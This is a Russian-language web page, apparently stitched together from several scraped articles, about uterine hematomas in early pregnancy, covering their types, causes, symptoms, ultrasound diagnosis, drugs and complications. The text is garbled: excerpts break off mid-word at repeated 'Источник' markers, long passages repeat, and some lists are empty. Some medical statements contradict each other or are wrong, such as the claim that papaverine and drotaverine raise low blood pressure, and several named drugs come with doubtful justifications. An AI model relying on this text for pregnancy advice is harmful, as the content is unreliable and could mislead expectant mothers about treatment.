Субамниотическая гематома при беременности

субамниотическая гематома при беременности лечение

Причины гематом при беременности на ранних сроках

Гематома при беременности на ранних сроках достаточно пакостная болезнь, ведь определенных симптомов не имеет и ее можно заметить лишь при обследовании с помощью УЗИ. Причин гематомы множество и не обязательно значит, что женщина безалаберно вынашивает свое дитя.

Причины возникновения гематомы во время протекания беременности

Есть еще ряд причин, но точную причину может установить лишь квалифицированный специалист. Не стоит начинать лечение самостоятельно, ведь причина может быть и не такой уж очевидной.

Симптоматика

Обычно, если гематома легкой формы, то она практически не проявляет себя, но все же представляет опасность для рождения, потому в таких случаях используется кесарево сечение и ребеночек рождается вполне нормальным. При легкой или даже средней формах, женщина может ощущать тянущую боль в низу живота или же замечать выделения коричневатого цвета на белье. Выделения постоянного характера обычно не имеют. Такие выделения не дают повода для сильного волнения, ведь на состояние плода они никак не повлияют.

Совсем другое дело, если выделения уже не коричневатого цвета, а красного и приобретают постоянный характер, часто усиливаясь.

Это все свидетельствует о тяжелой форме гематомы и если не обратиться к специалисту, на ранних сроках, это приведет к выкидышу, с возможным бесплодием в дальнейшем.

Чем опасна гематома на ранних сроках?

В целом, гематомы средней и легкой тяжести особой опасности не представляют, но все же лучше всего состоять под наблюдением врача с таким диагнозом.

Гематома матки на ранних сроках беременности приводит к нарушению поступления кислорода к плоду, что в дальнейшем вызовет либо легкое, либо тяжелое торможение в физическом и психическом аспектах развития ребенка.

К тому же, если ре

Источник

Гематома в матке при беременности

Беременность является лучшим периодом в жизни каждой женщины. Но радость вынашивания ребенка омрачается появлением проблем, среди которых встречается гематома матки.

Некоторые женщины, когда услышали на УЗИ о гематоме в матки, начинают впадать в панику и начинают переживать за состояние здоровья и здоровья малыша.

В период вынашивания плода матка женщины становится уязвимой. Ее размеры увеличиваются, происходит утолщение стенок, матка может подвергаться образованиям кровоизлияний.

Гематома в матке при беременности – скопление крови на поврежденном участке органа или ткани, по причине которого происходит образование небольшой вакуоли, заполненной или жидкостью или кровью. Данное явление во время беременности способно представлять серьезную угрозу для ребенка и матери, ведь образовавшаяся опухоль может спровоцировать отрыв плодного яйца и в результате беременность может прерваться.

Если женщина, будучи в положении, заметила у себя какое-то ухудшение самочувствия, то нужно обратиться к врачу. Своевременная диагностика и эффективное лечение позволяет предотвратить развитие серьезных последствий.

Причины гематомы матки при беременности

Любой человек, услышав слово гематома, представляет себе кровоподтек на коже или органе, который появился в результате полученной травмы.

Гематома матки обычно появляется на ранних сроках беременности и означает отслоение плодного яйца от хориона, в результате которого в матке образуется полость с кровью. Некоторое время назад единственной причиной данной патологии считались чрезмерные физические нагрузки или травмы живота и половых органов.

Привести к развитию опухоли в матке может слабость сосудов плаценты и матки. Такие изменения сосудов могут произойти в результате нарушенного обмена веществ. Эти причины и некоторые другие могут спро

Источник

Радость предстоящего материнства могут омрачать различные проблемы, среди которых гематома матки, поэтому беременная при первых признаках ухудшения самочувствия должна обращаться к доктору.

Гематома в матке при беременности

Радость предстоящего материнства могут омрачать различные проблемы, среди которых гематома матки, поэтому беременная при первых признаках ухудшения самочувствия должна обращаться к доктору.

Беременная матка является весьма уязвимым органом. Она увеличивается во много раз, ее стенки утолщаются. Такой орган подвержен образованию кровоизлияний. Гематома при беременности представляет определенную опасность для плода и матери. Своевременная диагностика и лечение в большинстве случаев оказываются эффективными.

Гематома в матке при беременности не является редкой патологией и проявляется чаще всего на ранних сроках гестации, поскольку именно это время больше всего опасно в отношении отслойки плодного яйца.

Виды гематомы матки

Когда идет речь о гематоме, то возникают ассоциации с какой-либо травмой. Но гематома в матке при беременности в редких случаях связана с травмой. В этом случае подразумевается возникшая отслойка плодного яйца, в результате чего произошло скопление излившейся крови.

Ретрохориальная гематома. Именно об этой гематоме говорят на ранних сроках беременности, так как хорион, или зародышевая часть плаценты, представляет собой временный орган, который функционирует только первые 13 недель. Затем хорион преобразуется в плаценту. Но именно в это время часто происходит отслойка плодного яйца, так как связи с маткой еще несовершенны. Когда определенные причины подействовали на беременную матку, то хорион отделяется, образуя при этом гематому между стенкой матки и плодным яйцом.

Ретроамниотическая гематома характеризуется излиянием крови между стенкой матки и амниотической оболочкой

Источник

Как выходят гематомы при беременности

Обнаружение кровянистых выделений может свидетельствовать о том, как выходит гематома при беременности. Такое зачастую случается при неплотном прилегании плодного яйца на ранних сроках. Т. е. между внешней оболочкой и внутренним маточным слоем образуется пустота, которая по причине интенсивного кровообращения заполняется кровью.

Гематома в матке является потенциальным риском как для жизни женщины, так и для здоровья ребенка. Поэтому при наличии такого диагноза будущим мамам важно знать, сколько в среднем занимает процесс выхода, как определить, что он наступил, и каких последствий стоит опасаться.

Формы гематом

В целом понятие гематома подразумевает скопление крови, кровоподтеки или синяки, возникающие вследствие ушиба мягких тканей, нарушения целостности кровеносных сосудов. Гематома в матке — это кровоизлияние в данном органе.

Ретрохориальная гематома — это легкая форма недуга, которая обычно не характеризуется специфическими симптомами, чаще всего протекает незаметно. Ретрохориальная гематома при беременности подразумевает отслойку плодного яйца от хориона.

Возникшее пространство заполняется кровью, из-за чего в медицине часто это состояние называют заоболочечным кровоизлиянием в период вынашивания ребенка.

На 16 неделе вынашивания плода завершается этап формирования плаценты, поэтому данный вид и называют гематомой матки при беременности в первом триместре. Диагностировать недуг может только специалист, основываясь на проявляющихся симптомах, анамнезе и результатах анализов.

Чтобы внести ясность, полезно знать и о существовании такого термина, как субамниотическая гематома у беременных. Это заболевание на практике встречается не так часто, при этом характеризуется самостоятельным рассасыванием, не требуя специфического лечения. Поэтому

Источник

Существует несколько факторов, которые могут спровоцировать появление гематомы у женщины во время беременности в матке, может появиться вследствие:

Гематома при беременности бывает двух типов: ретрохориальная (происходит отслоение плодного яйца от хориона), появляется чаще всего до четвертого месяца беременности; ретроплацентарная (характеризуется отслоением плодного яйца от плаценты), такой тип может свидетельствовать об отслойке плаценты раньше срока.

3. Тяжелая – боль приобретает схваткоообразный характер, обильное кровотечение, резкое понижение давления, которое может сопровождаться обмороками.

При появлении симптомов второй и третьей степени тяжести следует немедленно обратиться к своему гинекологу для своевременной диагностики и лечения заболевания.

Основным методом для диагностики гематомы при беременности является УЗИ. Оно дает возможность выявить заболевание на начальной стадии и своевременно начать лечение.

Женщине важно знать, что при появлении симптомов, которые могут свидетельствовать о гематоме, необходимо обязательно прийти на прием к гинекологу. Если лечение не начато своевременно, то заболевание грозит выкидышем, поэтому необходимо вовремя начать лечебные мероприятия.

С диагнозом «гематома при беременности» должен соблюдаться постельный режим, исключены все нагрузки. Важно обязательно придерживаться придерживаться диеты, которая включает в себя большое количество витаминов, фруктов и овощей. Из рациона необходимо исключить продукты, которые могут вызывать повышенное газообразование. Что касается медикаментозного лечения, женщине назначают обезболивающие средства (при ярко выраженной боли в животе). Как правило, это но-шпа или папаверин, но следует помнить, что лекарственные средства может назначить только квалифицированный специалист, ни в коем случае нельзя заниматься самолечением. Для повышения иммунитета

Источник

Гематома в матке при беременности на ранних сроках – угроза или нет

«Особенное» положение женщины диктует внимательное отношение к здоровью, состоянию, настроению. Тема «гематома при беременности» подлежит подробному изучению. Довольно часто приходится сталкиваться с рядом неприятностей, а осведомленность – это сила и первый шаг к здоровому материнству.

Гематома. Описание, причины

Гематома. Что это такое в принципе? Это скопление крови/кровоподтек/синяк, вследствие повреждения мягких тканей, нарушения целостности кровеносных сосудов. Ушибы, удары, физические травмы – первопричина.

Осознанно выполнять рекомендации специалистов; следует быть внимательными к ощущениям; своевременно делать УЗИ; подавать честную информацию о себе и партнере; не скрывать наличие генетических заболеваний – обязательные, важные шаги беременной женщины.

Ретрохориальная гематома

Подобное нарушение зачастую не сопровождается «специфическими» симптомами или вообще никак себя не проявляет. Но по факту ретрохориальная гематома при беременности — отслойка плодного яйца от хориона. Расстояние между ними заполняется кровью, поэтому можно встретить медицинский термин «заоболочечная гематома при беременности».

Завершение «строительства» плаценты происходит на сроке 16 недель, поэтому данный вид – это гематома при беременности на ранних сроках. За диагноз отвечает только лечащий врач, тщательно изучив симптоматику, анамнез, результаты анализов.

Чтобы не ввести себя в заблуждение следует знать о существовании термина «субамниотическая гематома при беременности». Встречается в медицинской практике реже и характеризуется самостоятельным рассасывание

Источник

Семья и дети

Новые публикации

Гематома при беременности

Может случиться, что будущая мама чувствует себя прекрасно, ее ничего не беспокоит, но придя на УЗИ узнает, что у нее диагностирована гематома при беременности. Обычный человек понимает, что гематома – это кровоизлияние в тканевую прослойку, которое происходит вследствие полученной травмы.

Код по МКБ-10

Причины гематомы при беременности

Современные акушеры-гинекологи все чаще сталкиваются с проблемой вынашивания плода женщиной, у которой диагностировали внутриутробное кровоизлияние. Достаточно часто оно развивается на фоне хрупких кровяных сосудов, которые обеспечивают питанием матку и плаценту.

Проблемы, наблюдающиеся при свертывании крови, патологические изменения стенок сосудов плаценты и всего организма женщины.

Симптомы гематомы при беременности

Ожидание рождения ребенка – состояние полного счастья, пора надежд и один из чарующих моментов в судьбе любой женщины. Но в то же время, это тревога и переживание за здоровье еще не рожденного малыша. Гематома в матке при беременности – сложное испытание для женщины, ждущей ребенка. Ведь при ее наличии плодное яйцо начинает отслаиваться от поверхности эндометрия матки, в этом месте постепенно скапливается кровь, формируя кровоподтек.

Гематома в матке при беременности представляет серьезную опасность для вынашивания ребенка, так как способна спровоцировать самопроизвольный выкидыш, особенно при тяжелой форме патологии. При легкой степени тяжести женщина может даже не заметить и узнать о ее существовании уже после благополучного разрешения родами.

Тяжелая степень развития гематомы при беременности представляет опасность не только для малыша, но и для его мамы. Кровотечение провоцирует у матери ухудшение общего состояния здоровья, развивается постгеморрагическая

Гематома при беременности

  • Боль внизу живота
  • Внутреннее кровотечение
  • Головокружение
  • Коричневые выделения из влагалища
  • Пониженное артериальное давление
  • Потеря сознания

Гематома при беременности представляет собой скопление крови в тканях, которое наиболее часто образуется после какой-либо травмы. В сформировавшейся вакуоли содержится либо жидкая, либо свернувшаяся кровь. Такое состояние крайне опасно как для будущей матери, так и для плода.

Наиболее частыми провоцирующими факторами заболевания выступают:

  • тяжелое протекание токсикоза;
  • стрессовые ситуации;
  • резкие колебания показателей кровяного давления;
  • пристрастие женщины к вредным привычкам.

Симптоматика такого недуга специфична и представлена болевыми ощущениями, локализующимися в нижних отделах живота, а также появлением выделений коричневого оттенка и понижением артериального давления.

Поставить правильный диагноз можно только на основании результатов инструментальных обследований, которые в данном случае представлены лишь плановым УЗИ, показанным к прохождению всем беременным.

Лечение такой патологи, несмотря на все ее опасность, проводится только консервативными терапевтическими методиками, среди которых – прием лекарственных препаратов («Дюфастон», «Папаверин», «Транексам», «Вобэнзим») и соблюдение щадящего рациона.

Причины формирования гематомы у представительниц женского пола в период вынашивания ребенка зачастую имеют патологический характер. Таким образом, в качестве провокаторов могут выступать:

  • чрезмерно хрупкие кровяные сосуды, отвечающие за питание матки и плаценты;
  • болезни со стороны органов мочеполовой системы;
  • резкие колебания значений кровяного тонуса;
  • постоянное влияние сильных стрессовых ситуаций;
  • аномалии развития эмбриона;
  • нарушение процесса свертываемости крови;
  • изменение гормонального фона;
  • пристрастие будущей матери к курению сигарет и распитию алкоголя;
  • чрезмерные физические нагрузки (ретроплацентарная гематома);
  • травмирование живота;
  • врожденные или приобретенные патологии развития матки;
  • сбои в обменных процессах;
  • тяжелое протекание токсикоза;
  • широкий спектр инфекционных заболеваний;
  • агрессивный половой контакт;
  • эндометриоз;
  • миома матки.

Наиболее опасной является гематома при беременности на ранних сроках, в особенности в тех ситуациях, когда ее диаметр превышает 2 см – в таких случаях она занимает примерно 40% от размеров плодного яйца и может привести к самопроизвольному выкидышу.

Классификация

При опоре на сроки гестации выделяют несколько разновидностей подобного новообразования, а именно:

  • субхориальная гематома – происходит отслойка плодного яйца от хориона, что может происходить до 16 недели внутриутробного развития плода;
  • ретроплацентарная гематома – оплодотворенное яйцо отслаивается от плаценты, которая заканчивает свое формирование к 16 неделе беременности. В таких случаях говорят про преждевременное отслоение нормально расположенной плаценты.

Помимо этого, существуют такие формы недуга:

  • субамниотическая гематома – не представляет угрозы для полноценного развития плода. Она может самостоятельно рассосаться или выйти в виде сгустков. Сроки того, как долго рассасывается гематома при беременности, носят сугубо индивидуальный характер, такой процесс может варьироваться от 2 до 5 недель;
  • ретроамниотическая гематома при беременности – протекает совершенно бессимптомно и зачастую имеет благоприятный прогноз;
  • внутриматочная – является довольно серьезной проблемой. При отсутствии роста не вызывает никаких проблем и не провоцирует нарушений развития эмбриона. Однако при прогрессировании и активном росте может понадобиться госпитализация пациентки.

Гематома у беременных имеет несколько степеней тяжести протекания:

  • легкую – в подавляющем большинстве ситуаций выступает в качестве диагностической находки, т.е. не приводит к ухудшению общего состояния женщины и не проявляется какими-либо признаками;
  • среднетяжелую – возможно лишь возникновение незначительных болевых ощущений в нижних отделах живота;
  • тяжелую – развивается специфическая симптоматика, что приводит к значительному ухудшению самочувствия и возможной потере сознания. Даже своевременно начатое лечение не гарантирует 100% избегания осложнений.

Симптоматика

Клиническая картина такого заболевания будет отличаться в зависимости от степени тяжести ее прогрессирования. Например, гематома при беременности без выделений и иных симптомов может протекать только на самом начальном этапе развития. Крайне редко большая опухоль также не дает о себе знать.

Во всех остальных случаях в независимости от разновидности симптоматика будет включать в себя:

  • болевой синдром различной степени выраженности, локализующийся внизу передней стенки брюшной полости;
  • коричневые выделения, реже возникают красные кровяные сгустки;
  • прогрессирующее снижение показаний тонометра;
  • приступы потери сознания;
  • интенсивное внутреннее кровотечение;
  • головокружения;
  • нарушение сердечного ритма у еще не рожденного малыша.

При возникновении такой симптоматики следует как можно скорее обратиться за квалифицированной помощью, в противном случае не исключается вероятность летального исхода.

Диагностика

Гематома на плаценте при беременности обнаруживается только благодаря результатам инструментальных обследований. Тем не менее, процесс диагностирования должен в обязательном порядке носить комплексный подход.

Прежде всего акушеру-гинекологу следует самостоятельно провести ряд манипуляций, среди которых:

  • ознакомление с историей болезни – это укажет на провоцирующий фактор, обладающий патологической основой;
  • сбор и анализ жизненного анамнеза – для установления факта влияния стрессовых ситуаций или травматического повреждения живота;
  • пальпация передней стенки брюшной полости;
  • детальный опрос пациентки – это нужно для составления клиницистом полной симптоматической картины течения недуга.

Лабораторная диагностика включает в себя:

  • общеклинический анализ крови и мочи;
  • биохимию крови;
  • коагулограмму;
  • бактериальный посев на флору (забираются выделения при гематоме);
  • гормональные тесты.

Инструментальные процедуры ограничиваются проведением:

  • УЗИ;
  • допплерометрии;
  • КТ и МРТ – по показаниям (например, гематома в стадии организации).

Заоболочечная гематома и иные типы такого образования имеют следующие диагностические признаки:

  • увеличение толщины одной из стенок матки;
  • изменение параметров плодного яйца;
  • появление между маткой и хорионом сгустка крови;
  • деформация контуров этого органа.

Гематома в матке при беременности устраняется только консервативными методиками, основу которых составляет прием лекарственных препаратов. Пациенткам зачастую прописывают:

  • медикаменты с содержанием железа;
  • спазмолитики;
  • антибиотики;
  • вещества, улучшающие плацентарно-маточный кровоток;
  • дезагреганты;
  • витаминные комплексы.

Во время беременности разрешен прием следующих лекарств:

Помимо этого, лечение обязательно должно включать в себя:

  • строгий постельный режим;
  • диетотерапию с ограничением потребления продуктов, вызывающих газообразование.

При ярко выраженном ухудшении состояния больной в экстренном порядке проводят родоразрешение при помощи кесарева сечения.

Возможные осложнения

Ретрооболочечная опухоль, также как и иные разновидности новообразования, может стать причиной развития опасных осложнений, среди которых:

  • самопроизвольное прерывание беременности;
  • массивное внутреннее кровотечение;
  • торможение роста и развития плода;
  • преждевременное отслоение плаценты;
  • матка Кувелера.

Такие последствия могут спровоцировать летальный исход как плода, так и будущей матери.

Профилактика и прогноз

Чтобы беременность не приобрела осложненное течение, представительницам слабой половины человечества следует соблюдать несколько несложных правил. Таким образом, профилактика включает в себя:

  • полный отказ от пагубных пристрастий;
  • правильное и сбалансированное питание;
  • ведение в меру активного образа жизни;
  • избегание влияния стрессовых ситуаций и нервных перенапряжений;
  • недопущение травм и ушибов живота;
  • своевременное обнаружение и полноценное лечение всех патологий, приводящих к образованию гематом;
  • регулярное посещение акушера-гинеколога.

Подобное образование в полости матки при беременности зачастую обладает благоприятным прогнозом. Иногда происходит самопроизвольное рассасывание образования, но как долго выходит гематома при беременности – зависит от ее вида. Наибольшую опасность имеют гематомы размерами более 2 сантиметров – именно в таких случаях высока вероятность формирования осложнений.

Ретроамниотическая гематома при беременности: что это такое, лечение, последствия

Гематома представляет собой процесс изливания крови из кровеносных сосудов в окружающие их ткани. При этом кровь не уходит, а скапливается в них, изменяя свой цвет и вызывая у женщины неприятные ощущения. Ретроамниотическая гематома возникает у беременной в период, когда плацента уже сформирована.

Ретроамниотическая гематома при беременности — что это такое?

При этом виде гематомы кровь накапливается в местах, где плацента отходит от матки.

При этом кровотечение может быть обильным, что грозит преждевременным родоразрешениюем и приводит к смерти плода, но в большинстве случаев потеря крови небольшая.

Встречается этот недуг у беременных в первом триместре, поэтому чаще всего эти женщины находятся в медицинском учреждении на сохранении под пристальным присмотром врача и медицинского персонала.

Как образуется гематома?

В ранние сроки беременности зародышу грозит много неприятностей, так как он еще совсем хрупок. Именно в этот период происходит образование плаценты, которая будет защищать его от негативных факторов и поддерживать его жизнь в утробе матери до момента рождения.

Но иногда происходит так, что в момент прикрепления зародыша к матке происходит отслаивание.

И совсем неважно, от чего это произошло, может быть, из-за гормонального сбоя или врожденной предрасположенности, но на месте этого отслоения формируется гематома.

Почему она образуется?

Обычно гематома ассоциируется с ушибом, в голове возникает образ всеми известных синяков, но к матке это не имеет никакого отношения.

Гематома образуется в результате хрупкости кровеносных сосудов, которые поставляют кровь в матку. Но сосуды истощаются не сами по себе, поэтому выделяют следующие причины ретроамниотической гематомы:

  1. Злоупотребление алкогольными напитками. Алкоголь наряду с повышенным артериальным давлением способен приводить сосуды к хрупкому состоянию, например, это приводит ко всем известным инсультам, которые вызваны именно этим процессом. Остерегаться стоит даже тем женщинам, которые употребляли алкоголь на ранних сроках беременности, еще не подозревая о своем состоянии.
  2. Интоксикация организма, которая проявляется в первом триместре.
  3. Сбой гормонального баланса в организме беременной, в результате чего нарушаются обменные процессы.
  4. Врожденная женская патология.
  5. Высокое артериальное давление.
  6. Перенесенный стресс.
  7. Патология плодного яйца.

Это лишь некоторые причины возникновения ретроамниотической гематомы. Также ее появлению могут способствовать курение, постоянные стрессы и тревоги, отравления и многое другое.

Как выявить гематому?

Распознать ее помогает УЗИ на ранних сроках беременности.

При этом следует выделить два момента:

  1. Так как зародыш еще совсем мал, то и гематома еле заметна, поэтому выявить ее на первых сроках беременности очень сложно.
  2. Так как кровотечение в этот период еще незначительное, своевременная помощь поможет избежать угрозы здоровья матери и жизни плода, что не скажешь о гематомах на поздних сроках беременности, сопровождающихся обильными кровотечениями.

Встречается ретроамниотическая гематома достаточно часто на сроке от одного до двух месяцев беременности.

Так как эта гематома встречается на ранних сроках беременности и сопровождается незначительным кровотечением, симптомы практически не проявляются.

Тем не менее следует обратить внимание на следующие признаки:

  1. Тянущие и ноющие боли внизу живота, локализованные в одном месте. При этом спазмы отсутствуют, а боль не ощущается в других органах и частях тела.
  2. В связи с тем что кровь, попадая в область матки, выходит из нее через половые пути, появляются небольшие кровянистые влагалищные выделения. Проходя по ним, кровь перемешивается со слизью, и на выходе можно увидеть грязные темно-коричневые выделения, нередко это и обычная алая кровь.
  3. Очень редко могут наблюдаться спазмы, сопровождающиеся сильными болевыми ощущениями.
  4. Если у плода уже сформировалось сердце, то на УЗИ можно выявить его сбившийся ритм.
  5. Ощущение слабости и падение артериального давления наблюдается в сложных случаях, сопровождающихся большим кровотечением.

Опасность ретроамниотической гематомы состоит в том, что в большинстве случаев выделений при ней не наблюдается и выявить ее может только опытный специалист на первом ультразвуковом исследовании.

Диагностика гематомы

Как уже было сказано, для того чтобы определить недуг, необходимо обратиться в медицинское учреждение для прохождения процедуры УЗИ на ранних сроках беременности.

Если гематома присутствует, то специалист заметит, что между хорионом и маткой скопилась кровь, при этом видно деформацию не только самой матки, но и плодного яйца. Одна из стенок матки выглядит толще, чем другая.

Не пренебрегайте диагностикой посредством УЗИ на ранних сроках беременности, возможно, это спасет вашего малыша от неминуемой гибели.

Лечение ретроамниотической гематомы

Лечение гематомы проходит только по назначениям лечащего врача! Заниматься самолечением не стоит, особенно в таком прекрасном положении.

Из таблеток, которые прописывает врач, выделяют «Папаверин» и «Дротаверин».

«Папаверин» – это алкалоид опия, на основании которого изготавливается одноименное лекарство.

«Дротаверин» представляет собой синтетический препарат, который предназначен для снижения тонуса гладких мышц во внутренних органах.

Оба лекарственных препарата являются спазмолитиками, помогают снять болевой синдром и повысить упавшее артериальное давление.

Кроме того, врачом может быть назначено следующее лечение:

  1. Прием витаминов группы В и аскорбиновой кислоты.
  2. Применение медикаментозных препаратов, действие которых направлено на улучшение перистальтики кишечника.
  3. Внутримышечные инъекции сульфата магния, которые обладают мочегонным и слабительным эффектом, а также выравнивают артериальное давление.
  4. Употребление препаратов, направленных на ликвидацию гормональных сбоев в организме. Чаще всего применяют «Утрожестан» или «Дюфастон».

Все назначения проводит лечащий врач, возможно, лечение будет однократным.

Самолечением заниматься противопоказано!

Последствия заболевания

Если гематома проявляется на ранних стадиях беременности, то может произойти преждевременное родоразрешение (выкидыш).

Эмбрион, еще только прикрепившийся к матке, начинает отслаиваться, между ним и стенкой матки образуется гематома (слой крови). Это приводит к недостатку питательных веществ и кислорода, соответственно, плод погибает.

Если же малыш продолжает развиваться в таких условиях, то его гибель может наступить на поздних сроках беременности или после его появления на свет.

субамниотическая гематома при беременности лечение

Причины гематом при беременности на ранних сроках

Гематома при беременности на ранних сроках достаточно пакостная болезнь, ведь определенных симптомов не имеет и ее можно заметить лишь при обследовании с помощью УЗИ. Причин гематомы множество и не обязательно значит, что женщина безалаберно вынашивает свое дитя.

Причины возникновения гематомы во время протекания беременности

Есть еще ряд причин, но точную причину может установить лишь квалифицированный специалист. Не стоит начинать лечение самостоятельно, ведь причина может быть и не такой уж очевидной.

Симптоматика

Обычно, если гематома легкой формы, то она практически не проявляет себя, но все же представляет опасность для рождения, потому в таких случаях используется кесарево сечение и ребеночек рождается вполне нормальным. При легкой или даже средней формах, женщина может ощущать тянущую боль в низу живота или же замечать выделения коричневатого цвета на белье. Выделения постоянного характера обычно не имеют. Такие выделения не дают повода для сильного волнения, ведь на состояние плода они никак не повлияют.

Совсем другое дело, если выделения уже не коричневатого цвета, а красного и приобретают постоянный характер, часто усиливаясь.

Это все свидетельствует о тяжелой форме гематомы и если не обратиться к специалисту, на ранних сроках, это приведет к выкидышу, с возможным бесплодием в дальнейшем.

Чем опасна гематома на ранних сроках?

В целом, гематомы средней и легкой тяжести особой опасности не представляют, но все же лучше всего состоять под наблюдением врача с таким диагнозом.

Гематома матки на ранних сроках беременности приводит к нарушению поступления кислорода к плоду, что в дальнейшем вызовет либо легкое, либо тяжелое торможение в физическом и психическом аспектах развития ребенка.

К тому же, если ре

Источник

Гематома в матке при беременности

Беременность является лучшим периодом в жизни каждой женщины. Но радость вынашивания ребенка омрачается появлением проблем, среди которых встречается гематома матки.

Некоторые женщины, когда услышали на УЗИ о гематоме в матки, начинают впадать в панику и начинают переживать за состояние здоровья и здоровья малыша.

В период вынашивания плода матка женщины становится уязвимой. Ее размеры увеличиваются, происходит утолщение стенок, матка может подвергаться образованиям кровоизлияний.

Гематома в матке при беременности – скопление крови на поврежденном участке органа или ткани, по причине которого происходит образование небольшой вакуоли, заполненной или жидкостью или кровью. Данное явление во время беременности способно представлять серьезную угрозу для ребенка и матери, ведь образовавшаяся опухоль может спровоцировать отрыв плодного яйца и в результате беременность может прерваться.

Если женщина, будучи в положении, заметила у себя какое-то ухудшение самочувствия, то нужно обратиться к врачу. Своевременная диагностика и эффективное лечение позволяет предотвратить развитие серьезных последствий.

Причины гематомы матки при беременности

Любой человек, услышав слово гематома, представляет себе кровоподтек на коже или органе, который появился в результате полученной травмы.

Гематома матки обычно появляется на ранних сроках беременности и означает отслоение плодного яйца от хориона, в результате которого в матке образуется полость с кровью. Некоторое время назад единственной причиной данной патологии считались чрезмерные физические нагрузки или травмы живота и половых органов.

Привести к развитию опухоли в матке может слабость сосудов плаценты и матки. Такие изменения сосудов могут произойти в результате нарушенного обмена веществ. Эти причины и некоторые другие могут спро

Источник

Радость предстоящего материнства могут омрачать различные проблемы, среди которых гематома матки, поэтому беременная при первых признаках ухудшения самочувствия должна обращаться к доктору.

Гематома в матке при беременности

Радость предстоящего материнства могут омрачать различные проблемы, среди которых гематома матки, поэтому беременная при первых признаках ухудшения самочувствия должна обращаться к доктору.

Беременная матка является весьма уязвимым органом. Она увеличивается во много раз, ее стенки утолщаются. Такой орган подвержен образованию кровоизлияний. Гематома при беременности представляет определенную опасность для плода и матери. Своевременная диагностика и лечение в большинстве случаев оказываются эффективными.

Гематома в матке при беременности не является редкой патологией и проявляется чаще всего на ранних сроках гестации, поскольку именно это время больше всего опасно в отношении отслойки плодного яйца.

Виды гематомы матки

Когда идет речь о гематоме, то возникают ассоциации с какой-либо травмой. Но гематома в матке при беременности в редких случаях связана с травмой. В этом случае подразумевается возникшая отслойка плодного яйца, в результате чего произошло скопление излившейся крови.

Ретрохориальная гематома. Именно об этой гематоме говорят на ранних сроках беременности, так как хорион, или зародышевая часть плаценты, представляет собой временный орган, который функционирует только первые 13 недель. Затем хорион преобразуется в плаценту. Но именно в это время часто происходит отслойка плодного яйца, так как связи с маткой еще несовершенны. Когда определенные причины подействовали на беременную матку, то хорион отделяется, образуя при этом гематому между стенкой матки и плодным яйцом.

Ретроамниотическая гематома характеризуется излиянием крови между стенкой матки и амниотической оболочкой

Источник

Как выходят гематомы при беременности

Обнаружение кровянистых выделений может свидетельствовать о том, как выходит гематома при беременности. Такое зачастую случается при неплотном прилегании плодного яйца на ранних сроках. Т. е. между внешней оболочкой и внутренним маточным слоем образуется пустота, которая по причине интенсивного кровообращения заполняется кровью.

Гематома в матке является потенциальным риском как для жизни женщины, так и для здоровья ребенка. Поэтому при наличии такого диагноза будущим мамам важно знать, сколько в среднем занимает процесс выхода, как определить, что он наступил, и каких последствий стоит опасаться.

Формы гематом

В целом понятие гематома подразумевает скопление крови, кровоподтеки или синяки, возникающие вследствие ушиба мягких тканей, нарушения целостности кровеносных сосудов. Гематома в матке — это кровоизлияние в данном органе.

Ретрохориальная гематома — это легкая форма недуга, которая обычно не характеризуется специфическими симптомами, чаще всего протекает незаметно. Ретрохориальная гематома при беременности подразумевает отслойку плодного яйца от хориона.

Возникшее пространство заполняется кровью, из-за чего в медицине часто это состояние называют заоболочечным кровоизлиянием в период вынашивания ребенка.

На 16 неделе вынашивания плода завершается этап формирования плаценты, поэтому данный вид и называют гематомой матки при беременности в первом триместре. Диагностировать недуг может только специалист, основываясь на проявляющихся симптомах, анамнезе и результатах анализов.

Чтобы внести ясность, полезно знать и о существовании такого термина, как субамниотическая гематома у беременных. Это заболевание на практике встречается не так часто, при этом характеризуется самостоятельным рассасыванием, не требуя специфического лечения. Поэтому

Источник

Существует несколько факторов, которые могут спровоцировать появление гематомы у женщины во время беременности в матке, может появиться вследствие:

Гематома при беременности бывает двух типов: ретрохориальная (происходит отслоение плодного яйца от хориона), появляется чаще всего до четвертого месяца беременности; ретроплацентарная (характеризуется отслоением плодного яйца от плаценты), такой тип может свидетельствовать об отслойке плаценты раньше срока.

3. Тяжелая – боль приобретает схваткоообразный характер, обильное кровотечение, резкое понижение давления, которое может сопровождаться обмороками.

При появлении симптомов второй и третьей степени тяжести следует немедленно обратиться к своему гинекологу для своевременной диагностики и лечения заболевания.

Основным методом для диагностики гематомы при беременности является УЗИ. Оно дает возможность выявить заболевание на начальной стадии и своевременно начать лечение.

Женщине важно знать, что при появлении симптомов, которые могут свидетельствовать о гематоме, необходимо обязательно прийти на прием к гинекологу. Если лечение не начато своевременно, то заболевание грозит выкидышем, поэтому необходимо вовремя начать лечебные мероприятия.

С диагнозом «гематома при беременности» должен соблюдаться постельный режим, исключены все нагрузки. Важно обязательно придерживаться придерживаться диеты, которая включает в себя большое количество витаминов, фруктов и овощей. Из рациона необходимо исключить продукты, которые могут вызывать повышенное газообразование. Что касается медикаментозного лечения, женщине назначают обезболивающие средства (при ярко выраженной боли в животе). Как правило, это но-шпа или папаверин, но следует помнить, что лекарственные средства может назначить только квалифицированный специалист, ни в коем случае нельзя заниматься самолечением. Для повышения иммунитета

Источник

Гематома в матке при беременности на ранних сроках – угроза или нет

«Особенное» положение женщины диктует внимательное отношение к здоровью, состоянию, настроению. Тема «гематома при беременности» подлежит подробному изучению. Довольно часто приходится сталкиваться с рядом неприятностей, а осведомленность – это сила и первый шаг к здоровому материнству.

Гематома. Описание, причины

Гематома. Что это такое в принципе? Это скопление крови/кровоподтек/синяк, вследствие повреждения мягких тканей, нарушения целостности кровеносных сосудов. Ушибы, удары, физические травмы – первопричина.

Осознанно выполнять рекомендации специалистов; следует быть внимательными к ощущениям; своевременно делать УЗИ; подавать честную информацию о себе и партнере; не скрывать наличие генетических заболеваний – обязательные, важные шаги беременной женщины.

Ретрохориальная гематома

Подобное нарушение зачастую не сопровождается «специфическими» симптомами или вообще никак себя не проявляет. Но по факту ретрохориальная гематома при беременности — отслойка плодного яйца от хориона. Расстояние между ними заполняется кровью, поэтому можно встретить медицинский термин «заоболочечная гематома при беременности».

Завершение «строительства» плаценты происходит на сроке 16 недель, поэтому данный вид – это гематома при беременности на ранних сроках. За диагноз отвечает только лечащий врач, тщательно изучив симптоматику, анамнез, результаты анализов.

Чтобы не ввести себя в заблуждение следует знать о существовании термина «субамниотическая гематома при беременности». Встречается в медицинской практике реже и характеризуется самостоятельным рассасывание

Источник

Семья и дети

Новые публикации

Гематома при беременности

